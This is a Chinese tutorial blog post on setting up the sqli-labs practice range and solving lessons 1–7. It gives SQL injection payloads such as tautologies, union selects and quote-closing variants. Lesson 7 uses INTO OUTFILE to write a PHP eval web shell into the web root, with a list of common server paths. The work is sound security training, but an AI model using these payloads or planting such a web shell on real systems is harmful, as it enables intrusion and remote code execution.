sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)
靶场搭建
小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),
如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..
php study:

laragon:

关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon.
本套课程,所采用的集成环境为 php study.
搭建步骤
获取源码. 自行百度或者通过我的分享.
# 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw
# 提取码:fdbo
# 复制这段内容后打开百度网盘手机App,操作更方便哦
文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )

访问测试:

访问127.0.0.1:

截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:

完成后我们就可以进行闯关了..
less-1
访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.

键入常用的payload进行尝试. 成功!

通过修改源码, 输出对应sql语句,得知:

SELECT * FROM users WHERE id='' LIMIT 0,1 # 原始sql
# 我使用的payload
SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1
less-2
通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.

通过union联合查询 执行成功 由此断定sql存在注入漏洞.
# 原始sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# payload
SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1
pay load
less-3
打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常

可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢
首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1
我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),
# 使用的payload
id=-1%27)%20or%201=1%20--%20%27
id = -1') or 1=1 -- '
less-4
按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,

为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的
发现注入点之后 我们可以通过构造闭合双引号来尝试.
# 原始sql
SELECT * FROM users WHERE id=("1") LIMIT 0,1
# payload
select * from users where id = ("-1") or 1=1 -- "")
less-5
参考less -2 . (单引号)
less-6
参考less-2. (双引号)
less-7
看首页说是导出文件GET字符型注入,常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir (读取数据库路径)
@@basedir (MYSQL 获取安装路径)
# payload
SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
# 上传文件的payload
http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23
sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)的更多相关文章
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- xss和sql注入学习1
在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法. 使用phpStudy工具搭建一个美食CMS网站平台. 0x01 xss测试 打开调试模式,定位姓名栏输入框: 尝试在value中 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 从零开始的sql注入学习(挖坑不填)
首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...
- 简单sql注入学习
sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...
- SQL注入学习(一)
注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...
- Java SQL注入学习笔记
1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...
随机推荐
- mysql创建唯一索引,避免数据重复插入
多台服务器使用一个数据库时,有时就会出现重复插入的情况,eg:people表中的姓名和身份证号 此时可以给姓名和身份证号创建唯一索引, 创建语句:alter table people add uniq ...
- linux ssh免密登陆远程服务器
10.170.1.18服务器免密登录到10.170.1.16服务器 首先登入一台linux服务器(10.170.1.18),此台做为母机(即登入其他linux系统用这台做为入口):执行一行命令生成ke ...
- socket粘包问题解决
粘包client.send(data1)client.send(data2)这两次send紧挨在一起,处理的时候会放在一起发过去在Linux里每次都粘包,Windows里面某次会出现粘包在两次send ...
- JS中的闭包(closure)
JS中的闭包(closure) 闭包(closure)是Javascript语言的一个难点,也是它的特色,很多高级应用都要依靠闭包实现.下面就是我的学习笔记,对于Javascript初学者应该是很有用 ...
- mysql 相关命令
1.mysql导入导出 导出 进入到mysql bin目录 导出表 ./mysqldump -uroot -p --socket=/wdcloud/app/mysql1/temp/mysql.sock ...
- 学号 20175329 2018-2019-3《Java程序设计》第六周学习总结
学号 20175329 2018-2019-3<Java程序设计>第六周学习总结 教材学习内容 第七章 内部类与异常类 内部类与外嵌类之间的重要关系如下: 内部类的外嵌类的成员变量在内部类 ...
- springboot整合mybatis的多数据源解决办法
最近项目有一个非解决不可的问题,我们的项目中的用户表是用的自己库的数据,但是这些数据都是从一个已有库中迁过来的,所以用户信息都是在那个项目里面维护,自然而然我们项目不提供用户注册功能,这就有个问题,如 ...
- 使用Crowd集成Confluence与JIRA
一. 独立安装Crowd,步骤1-步骤13的内容二. 设置Confluence使用Crowd进行认证.步骤14-18的内容三. 设置JIRA使用Crowd进行认证,并使用Confluence的组织机构 ...
- HTTP状态码表
HTTP状态码(英语:HTTP Status Code)是用以表示网页服务器HTTP响应状态的3位数字代码.所有状态码的第一个数字代表了响应的五种状态之一. 1xx消息 这一类型的状态码,代表请求已被 ...
- js-模块化(三大模块化规范)
###1. JS模块化 * 模块化的理解 * 什么是模块? * 将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起 * 块的内部数据/实现是私有的, 只是向外部 ...